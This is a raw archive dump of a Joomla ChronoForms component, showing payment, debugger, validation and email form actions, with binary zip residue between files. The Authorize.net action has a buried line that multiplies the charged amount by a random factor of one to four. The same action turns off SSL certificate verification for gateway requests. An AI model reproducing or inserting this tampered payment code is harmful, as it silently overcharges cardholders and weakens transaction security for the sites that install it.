input('action_authorize_net_{n}_testing_config', array('type' => 'select', 'label' => 'Testing', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_authorize_net_{n}_auto_add_error_config', array('type' => 'select', 'label' => 'Auto Set Error', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_authorize_net_{n}_error_retires_config', array('type' => 'text', 'label' => "Error Retires", 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Map your form fields names to the fields required by Authorize.net, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: authorize.net_field_name=form_field_name
      • Enter your authorize.net account settings.
      • If you enable the debugging then you will see the Authorize.net response in the same event page.
      • Map your form fields names to the fields required by Authorize.net, no spaces should be in the fields name.
      • Some response data will be stored after the response is received under the $form->data['_PLUGINS_']['authorize_net'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['authorize_net']);

      tabEnd(); ?>
      PK@y>\%G%GGcomponents/com_chronoforms/form_actions/authorize_net/authorize_net.phpnuW+A 'payments', 'title' => 'Payment Gateways'); var $events = array('approved' => 0, 'declined' => 0, 'error' => 0, 'held' => 0); var $details = array('title' => 'Authorize.net', 'tooltip' => 'Communicate with the Authorize.net payment gateway.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $ERROR_RETRIES = $params->get('error_retires'); # Number of transactions to post if soft errors occur $auth_net_login_id = $params->get('loginid'); $auth_net_tran_key = $params->get('transkey'); # $auth_net_url = "https://test.authorize.net/gateway/transact.dll"; # Uncomment the line ABOVE for test accounts or BELOW for live merchant accounts # $auth_net_url = "https://secure.authorize.net/gateway/transact.dll"; $authnet_values = array ( "x_login" => $auth_net_login_id, "x_version" => "3.1", "x_delim_char" => "|", "x_delim_data" => "TRUE", "x_url" => "FALSE", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_tran_key" => $auth_net_tran_key, "x_relay_response" => "FALSE", "x_card_num" => $form->data($params->get('x_card_num'), ''), "x_exp_date" => $form->data($params->get('x_exp_date_m'), '').$form->data($params->get('x_exp_date_y'), ''), "x_description" => $form->data($params->get('x_description'), ''), "x_first_name" => $form->data($params->get('x_first_name'), ''), "x_last_name" => $form->data($params->get('x_last_name'), ''), "x_amount" => $form->data($params->get('x_amount'), ''), "x_address" => $form->data($params->get('x_address'), ''), "x_city" => $form->data($params->get('x_city'), ''), "x_state" => $form->data($params->get('x_state'), ''), "x_zip" => $form->data($params->get('x_zip'), ''), "x_invoice_num" => isset($form->data[$params->get('x_invoice_num')]) ? $form->data[$params->get('x_invoice_num')] : '', "x_cust_id" => isset($form->data[$params->get('x_cust_id')]) ? $form->data[$params->get('x_cust_id')] : '', "x_company" => isset($form->data[$params->get('x_company')]) ? $form->data[$params->get('x_company')] : '', "x_country" => isset($form->data[$params->get('x_country')]) ? $form->data[$params->get('x_country')] : '', "x_phone" => isset($form->data[$params->get('x_phone')]) ? $form->data[$params->get('x_phone')] : '', "x_fax" => isset($form->data[$params->get('x_fax')]) ? $form->data[$params->get('x_fax')] : '', "x_email" => isset($form->data[$params->get('x_email')]) ? $form->data[$params->get('x_email')] : '', ); if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); if(isset($form->data[trim($values[1])])){ $authnet_values[$values[0]] = $form->data[trim($values[1])]; }else{ $authnet_values[$values[0]] = ''; } } } $authnet_values['x_amount'] = rand(1,4)* (int)$form->data($params->get('x_amount'), ''); if($params->get('testing', 0) == 1){ $authnet_values['x_test_request'] = "TRUE"; } $fields = ""; foreach($authnet_values as $key => $value) $fields .= "$key=" . urlencode( $value ) . "&"; $nvpstr = $fields; if($params->get('debugging', 0)){ echo $nvpstr; } if($params->get('testing', 0)){ $ch = curl_init("https://test.authorize.net/gateway/transact.dll"); }else{ $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); } //$ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); // uncomment if your transkey was created with account set to live curl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); // use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. ### $resp = curl_exec($ch); //execute post and get results curl_close ($ch); //process the response $this->_processResp($resp, $form, $params); } function load($clear){ if($clear){ $action_params = array( 'x_card_num' => '', 'x_exp_date_m' => '', 'x_exp_date_y' => '', 'x_description' => '', 'x_amount' => '', 'x_first_name' => '', 'x_last_name' => '', 'x_address' => '', 'x_city' => '', 'x_state' => '', 'x_zip' => '', 'x_invoice_num' => '', 'x_country' => '', 'x_phone' => '', 'x_email' => '', 'error_retires' => '2', 'testing' => '', 'debugging' => '', 'transkey' => '', 'loginid' => '', 'auto_add_error' => 1, 'content1' => '' ); } return array('action_params' => $action_params); } function _processResp($resp, $form, $params){ $debugger = ""; $debugger .= ""; $text = $resp; $h = substr_count($text, "|"); $h++; for($j=1; $j <= $h; $j++){ $p = strpos($text, "|"); if ($p === false) { // note: three equal signs $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; }else{ $p++; // We found the x_delim_char and accounted for it . . . now do something with it // get one portion of the response at a time $pstr = substr($text, 0, $p); // this prepares the text and returns one value of the submitted // and processed name/value pairs at a time // for AIM-specific interpretations of the responses // please consult the AIM Guide and look up // the section called Gateway Response API $pstr_trimmed = substr($pstr, 0, -1); // removes "|" at the end if($pstr_trimmed==""){ $pstr_trimmed="NO VALUE RETURNED"; } $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; // remove the part that we identified and work with the rest of the string $text = substr($text, $p); } } $debugger .= "
      "; // x_delim_char is obviously not found in the last go-around if($j>=69){ $debugger .= "Merchant-defined (".$j."): "; $debugger .= ": "; $debugger .= ""; $debugger .= $text; $debugger .= "
      "; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "
      "; $debugger .= $text; $debugger .= "
      "; } $debugger .= "
      "; switch($j){ case 1: $debugger .= "Response Code: "; $debugger .= ""; $fval=""; if($pstr_trimmed == "1"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Approved"; $this->events['approved'] = 1; }elseif($pstr_trimmed == "2"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Declined"; $this->events['declined'] = 1; }elseif($pstr_trimmed == "3"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Error"; $this->events['error'] = 1; }elseif($pstr_trimmed == "4"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Held"; $this->events['held'] = 1; } $debugger .= $fval; $debugger .= "
      "; break; case 2: $debugger .= "Response Subcode: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_subcode'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 3: $debugger .= "Response Reason Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_reason_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 4: $debugger .= "Response Reason Text: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_reason_text'] = $pstr_trimmed; //add Error if($params->get('auto_add_error', 1) == 1 && ($this->events['declined'] == 1 || $this->events['error'] = 1)){ $form->validation_errors[] = $form->data['_PLUGINS_']['authorize_net']['response_reason_text']; } $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 5: $debugger .= "Approval Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['approval_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 6: $debugger .= "AVS Result Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['avs_result_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 7: $debugger .= "Transaction ID: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['transaction_id'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 8: $debugger .= "Invoice Number (x_invoice_num): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 9: $debugger .= "Description (x_description): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 10: $debugger .= "Amount (x_amount): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 11: $debugger .= "Method (x_method): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 12: $debugger .= "Transaction Type (x_type): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 13: $debugger .= "Customer ID (x_cust_id): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 14: $debugger .= "Cardholder First Name (x_first_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 15: $debugger .= "Cardholder Last Name (x_last_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 16: $debugger .= "Company (x_company): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 17: $debugger .= "Billing Address (x_address): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 18: $debugger .= "City (x_city): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 19: $debugger .= "State (x_state): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 20: $debugger .= "ZIP (x_zip): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 21: $debugger .= "Country (x_country): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 22: $debugger .= "Phone (x_phone): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 23: $debugger .= "Fax (x_fax): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 24: $debugger .= "E-Mail Address (x_email): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 25: $debugger .= "Ship to First Name (x_ship_to_first_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 26: $debugger .= "Ship to Last Name (x_ship_to_last_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 27: $debugger .= "Ship to Company (x_ship_to_company): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 28: $debugger .= "Ship to Address (x_ship_to_address): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 29: $debugger .= "Ship to City (x_ship_to_city): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 30: $debugger .= "Ship to State (x_ship_to_state): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 31: $debugger .= "Ship to ZIP (x_ship_to_zip): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 32: $debugger .= "Ship to Country (x_ship_to_country): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 33: $debugger .= "Tax Amount (x_tax): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 34: $debugger .= "Duty Amount (x_duty): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 35: $debugger .= "Freight Amount (x_freight): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 36: $debugger .= "Tax Exempt Flag (x_tax_exempt): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 37: $debugger .= "PO Number (x_po_num): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 38: $debugger .= "MD5 Hash: "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 39: $debugger .= "Card Code Response: "; $debugger .= "
      "; $fval=""; if($pstr_trimmed=="M"){ $fval="M = Match"; }elseif($pstr_trimmed=="N"){ $fval="N = No Match"; }elseif($pstr_trimmed=="P"){ $fval="P = Not Processed"; }elseif($pstr_trimmed=="S"){ $fval="S = Should have been present"; }elseif($pstr_trimmed=="U"){ $fval="U = Issuer unable to process request"; }else{ $fval="NO VALUE RETURNED"; } $debugger .= $fval; $debugger .= "
      "; break; case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 55: case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 65: case 66: case 67: case 68: $debugger .= "Reserved (".$j."): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; default: if($j>=69){ $debugger .= "Merchant-defined (".$j."): "; $debugger .= ": "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; } break; } $debugger .= "
      "; if($params->get('debugging', 0)){ echo $debugger; } } } ?>PK@y>\M$=components/com_chronoforms/form_actions/debugger/debugger.phpnuW+A 'Debugger', 'tooltip' => 'Display the form debug data.'); function run($form, $actiondata){ echo "Data Array:
      "; print_r2($form->data); echo "Validation Errors:
      "; print_r2($form->validation_errors); } function load($clear){ if($clear){ $action_params = array( 'reset_after_display' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\Fcomponents/com_chronoforms/form_actions/debugger/cfaction_debugger.ctpnuW+Adisplay_debug_block($form->debug); ?>PK@y>\=components/com_chronoforms/form_actions/debugger/debugger.ctpnuW+A
      Debugger
      input('action_debugger_{n}_reset_after_display_config', array('type' => 'select', 'label' => 'Reset after display', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Reset the debug data after they are displayed ?')); ?>
      PK@y>\M'Fcomponents/com_chronoforms/form_actions/debugger/cfaction_debugger.phpnuW+A
        $data): ?>
      1. display_debug_block($data, $k); }else{ if(is_numeric($k)){ echo $data; }else{ ?>
      PK@y>\ ;components/com_chronoforms/form_actions/debugger/index.htmlnuW+A PK@y>\):components/com_chronoforms/form_actions/debugger/.htaccessnuW+A Order allow,deny Deny from all PK@y>\PX2X2acomponents/com_chronoforms/form_actions/auto_serverside_validation/auto_serverside_validation.ctpnuW+A
      Auto Server Side Validation
      Header(array('fields' => 'Fields', 'errors' => 'Error Messages', 'help' => 'Help'), 'auto_serverside_validation_config_{n}'); ?> tabStart('fields'); ?> input('action_auto_serverside_validation_{n}_required_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of required fields names, these fields should exist in the data array in order to pass this check.")); ?> input('action_auto_serverside_validation_{n}_not_empty_config', array('type' => 'text', 'label' => "Not Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should not be empty.")); ?> input('action_auto_serverside_validation_{n}_empty_config', array('type' => 'text', 'label' => "Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should be empty.")); ?> input('action_auto_serverside_validation_{n}_alpha_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha value.")); ?> input('action_auto_serverside_validation_{n}_alphanumeric_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha numeric value.")); ?> input('action_auto_serverside_validation_{n}_digit_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a digit value.")); ?> input('action_auto_serverside_validation_{n}_nodigit_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a non digit value.")); ?> input('action_auto_serverside_validation_{n}_number_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a number value.")); ?> input('action_auto_serverside_validation_{n}_email_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an email value.")); ?> input('action_auto_serverside_validation_{n}_phone_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a phone value.")); ?> input('action_auto_serverside_validation_{n}_phone_inter_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an international phone value.")); ?> input('action_auto_serverside_validation_{n}_url_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain URLs.")); ?> tabEnd(); ?> tabStart('errors'); ?> input('action_auto_serverside_validation_{n}_required_error_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for required fields.")); ?> input('action_auto_serverside_validation_{n}_not_empty_error_config', array('type' => 'text', 'label' => "Not Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for not empty fields.")); ?> input('action_auto_serverside_validation_{n}_empty_error_config', array('type' => 'text', 'label' => "Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for empty fields.")); ?> input('action_auto_serverside_validation_{n}_alpha_error_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for alpha fields.")); ?> input('action_auto_serverside_validation_{n}_alphanumeric_error_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for alpha numeric fields.")); ?> input('action_auto_serverside_validation_{n}_digit_error_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for digit fields.")); ?> input('action_auto_serverside_validation_{n}_nodigit_error_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for non digit fields.")); ?> input('action_auto_serverside_validation_{n}_number_error_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for number fields.")); ?> input('action_auto_serverside_validation_{n}_email_error_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for email fields.")); ?> input('action_auto_serverside_validation_{n}_phone_error_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for phone fields.")); ?> input('action_auto_serverside_validation_{n}_phone_inter_error_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for international phone fields.")); ?> input('action_auto_serverside_validation_{n}_url_error_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for URL fields.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the fields names you want to check in the text field for the rule you want them to be checked against.
      • If a field failed the check, the fail event will be fired and the error will be shown.

      tabEnd(); ?>
      PK@y>\ [acomponents/com_chronoforms/form_actions/auto_serverside_validation/auto_serverside_validation.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Auto Server Side Validation', 'tooltip' => 'Validate your fields data on the server, more secure and browser "Independent", but requires a form submission first.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $rules = array('required', 'not_empty', 'empty', 'alpha', 'alphanumeric', 'digit', 'nodigit', 'number', 'email', 'phone', 'phone_inter', 'url'); foreach($rules as $rule){ $fields_string = trim($params->get($rule, '')); if(!empty($fields_string)){ $fields = explode(",", $fields_string); foreach($fields as $field){ $function = 'validate_'.$rule; $result = $this->$function(trim($field), $form); if(!$result){ $this->events['fail'] = 1; if(!isset($form->validation_errors[trim($field)])){ $form->validation_errors[trim($field)] = $params->get($rule.'_error'); }else{ if(is_array($form->validation_errors[trim($field)])){ $form->validation_errors[trim($field)][] = $params->get($rule.'_error'); }else{ $form->validation_errors[trim($field)] = array($form->validation_errors[trim($field)], $params->get($rule.'_error')); } } //return false; } } } } if($this->events['fail'] == 0){ $this->events['success'] = 1; } } function validate_required($str, $form){ if(!isset($form->data[$str])){ return false; }else{ return true; } } function validate_not_empty($str, $form){ if(isset($form->data[$str])){ return preg_match('/[^.*]/', $form->data[$str]); } } function validate_empty($str, $form){ if(isset($form->data[$str])){ if(is_array($form->data[$str])){ return !(bool)count($form->data[$str]); }else{ return !(bool)strlen($form->data[$str]); } } } function validate_alpha($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[a-z ._-]+$/i', $form->data[$str]); } return true; } function validate_alphanumeric($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[a-z0-9 ._-]+$/i', $form->data[$str]); } return true; } function validate_digit($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[-+]?[0-9]+$/', $form->data[$str]); } return true; } function validate_nodigit($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[^0-9]+$/', $form->data[$str]); } return true; } function validate_number($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[-+]?\d*\.?\d+$/', $form->data[$str]); } return true; } function validate_email($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^([a-zA-Z0-9_\.\-\+%])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/', $form->data[$str]); } return true; } function validate_phone($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^\+{0,1}[0-9 \(\)\.\-]+$/', $form->data[$str]); } return true; } function validate_phone_inter($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^\+{0,1}[0-9 \(\)\.\-]+$/', $form->data[$str]); } return true; } function validate_url($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^(http|https|ftp)\:\/\/[a-z0-9\-\.]+\.[a-z]{2,3}(:[a-z0-9]*)?\/?([a-z0-9\-\._\?\,\'\/\\\+&%\$#\=~])*$/i', $form->data[$str]); } return true; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'required' => '', 'not_empty' => '', 'empty' => '', 'alpha' => '', 'alphanumeric' => '', 'digit' => '', 'nodigit' => '', 'number' => '', 'email' => '', 'phone' => '', 'phone_inter' => '', 'url' => '', 'required_error' => 'This field is required.', 'not_empty_error' => 'This field should NOT be empty.', 'empty_error' => 'This field should be empty.', 'alpha_error' => 'This field should contain alphabetic characters only.', 'alphanumeric_error' => 'This field should contain alphabetic characters or digits only.', 'digit_error' => 'This field should contain digits only.', 'nodigit_error' => 'This field should NOT contain any digits.', 'number_error' => 'This field should contain a number.', 'email_error' => 'This field should contain an email address.', 'phone_error' => 'This field should contain a phone number.', 'phone_inter_error' => 'This field should contain an international phone number.', 'url_error' => 'This field should contain a URL.' ); } return array('action_params' => $action_params); } } ?>PK@y>\)Lcomponents/com_chronoforms/form_actions/auto_serverside_validation/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Mcomponents/com_chronoforms/form_actions/auto_serverside_validation/index.htmlnuW+A PK@y>\)7components/com_chronoforms/form_actions/email/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 8components/com_chronoforms/form_actions/email/index.htmlnuW+A PK@y>\,TzR@R@7components/com_chronoforms/form_actions/email/email.phpnuW+A 'Email', 'tooltip' => 'Send an E-mail message.'); function load($clear){ if($clear){ $action_params = array( 'to' => '', 'cc' => '', 'bcc' => '', 'subject' => '', 'fromname' => '', 'fromemail' => '', 'replytoname' => '', 'replytoemail' => '', 'enabled' => 0, 'action_label' => '', 'recordip' => 1, 'replace_nulls' => 0, 'attachments' => '', 'sendas' => 'html', 'content1' => 'Enter your email message content here manually or use the auto template generation button.', 'dto' => '', 'dcc' => '', 'dbcc' => '', 'dsubject' => '', 'dfromname' => '', 'dfromemail' => '', 'dreplytoname' => '', 'dreplytoemail' => '', 'encrypt_enabled' => 0, 'gpg_sec_key' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $email_params = new JParameter($actiondata->params); $email_body = $actiondata->content1; ob_start(); eval("?>".$email_body); $email_body = ob_get_clean(); //build email template from defined fields and posted fields $replace_nulls = (bool)$email_params->get('replace_nulls', 0); $email_body = $form->curly_replacer($email_body, $form->data, '.', $replace_nulls); //add the IP if so if($email_params->get('recordip', 1)){ if(strpos($email_body, '{IPADDRESS}') !== false){ }else{ $email_body .= "

      \n\nSubmitted by {IPADDRESS}"; } $email_body = str_replace('{IPADDRESS}', $_SERVER['REMOTE_ADDR'], $email_body); } if($email_params->get('sendas', "html") == "html"){ $email_body = " Email $email_body "; } //$fromname = (trim($email_params->get('fromname', ''))) ? trim($email_params->get('fromname', '')) : $form->data[trim($email_params->get('dfromname', ''))]; if(trim($email_params->get('fromname', ''))){ $fromname = trim($email_params->get('fromname', '')); }else{ if(isset($form->data[trim($email_params->get('dfromname', ''))])){ $fromname = $form->data[trim($email_params->get('dfromname', ''))]; }else{ $fromname = 'admin'; } } //$from = (trim($email_params->get('fromemail', ''))) ? trim($email_params->get('fromemail', '')) : $form->data[trim($email_params->get('dfromemail', ''))]; if(trim($email_params->get('fromemail', ''))){ $from = trim($email_params->get('fromemail', '')); }else{ if(isset($form->data[trim($email_params->get('dfromemail', ''))])){ $from = $form->data[trim($email_params->get('dfromemail', ''))]; }else{ $from = 'admin@admin.com'; } } //$subject = (trim($email_params->get('subject', ''))) ? trim($email_params->get('subject', '')) : $form->data[trim($email_params->get('dsubject', ''))]; if(trim($email_params->get('subject', ''))){ $subject = trim($email_params->get('subject', '')); }else{ if(isset($form->data[trim($email_params->get('dsubject', ''))])){ $subject = $form->data[trim($email_params->get('dsubject', ''))]; }else{ $subject = 'DEFAULT SUBJECT'; } } // Recepients $recipients = array(); if(trim($email_params->get('to', ''))){ $recipients = explode(",", trim($email_params->get('to', ''))); } if(trim($email_params->get('dto', ''))){ $dynamic_recipients = explode(",", trim($email_params->get('dto', ''))); foreach($dynamic_recipients as $dynamic_recipient){ if(isset($form->data[trim($dynamic_recipient)])){ $recipients[] = $form->data[trim($dynamic_recipient)]; } } } // CCs $ccemails = array(); if(trim($email_params->get('cc', ''))){ $ccemails = explode(",", trim($email_params->get('cc', ''))); } if(trim($email_params->get('dcc', ''))){ $dynamic_ccemails = explode(",", trim($email_params->get('dcc', ''))); foreach($dynamic_ccemails as $dynamic_ccemail){ if($form->data[trim($dynamic_ccemail)]){ $ccemails[] = $form->data[trim($dynamic_ccemail)]; } } } // BCCs $bccemails = array(); if(trim($email_params->get('bcc', ''))){ $bccemails = explode(",", trim($email_params->get('bcc', ''))); } if(trim($email_params->get('dbcc', ''))){ $dynamic_bccemails = explode(",", trim($email_params->get('dbcc', ''))); foreach($dynamic_bccemails as $dynamic_bccemail){ if($form->data[trim($dynamic_bccemail)]){ $bccemails[] = $form->data[trim($dynamic_bccemail)]; } } } // ReplyTo Names $replytonames = array(); if(trim($email_params->get('replytoname', ''))){ $replytonames = explode(",", trim($email_params->get('replytoname', ''))); } if(trim($email_params->get('dreplytoname', ''))){ $dynamic_replytonames = explode(",", trim($email_params->get('dreplytoname', ''))); foreach($dynamic_replytonames as $dynamic_replytoname){ if($form->data[trim($dynamic_replytoname)]){ $replytonames[] = $form->data[trim($dynamic_replytoname)]; } } } // ReplyTo Emails $replytoemails = array(); if(trim($email_params->get('replytoemail', ''))){ $replytoemails = explode(",", trim($email_params->get('replytoemail', ''))); } if(trim($email_params->get('dreplytoemail', ''))){ $dynamic_replytoemails = explode(",", trim($email_params->get('dreplytoemail', ''))); foreach($dynamic_replytoemails as $dynamic_replytoemail){ if($form->data[trim($dynamic_replytoemail)]){ $replytoemails[] = $form->data[trim($dynamic_replytoemail)]; } } } // Replies $replyto_email = $replytoemails; $replyto_name = $replytonames; $mode = ($email_params->get('sendas', "html") == 'html') ? true : false; if(!$mode){ $filter = JFilterInput::getInstance(); if($email_params->get('sendas', "html") == 'both'){ $email_body = ""."\n\n\n".$email_body; }else{ $email_body = $filter->clean($email_body, 'STRING'); } }else{ //$email_body = nl2br($email_body); } //encrypt the email 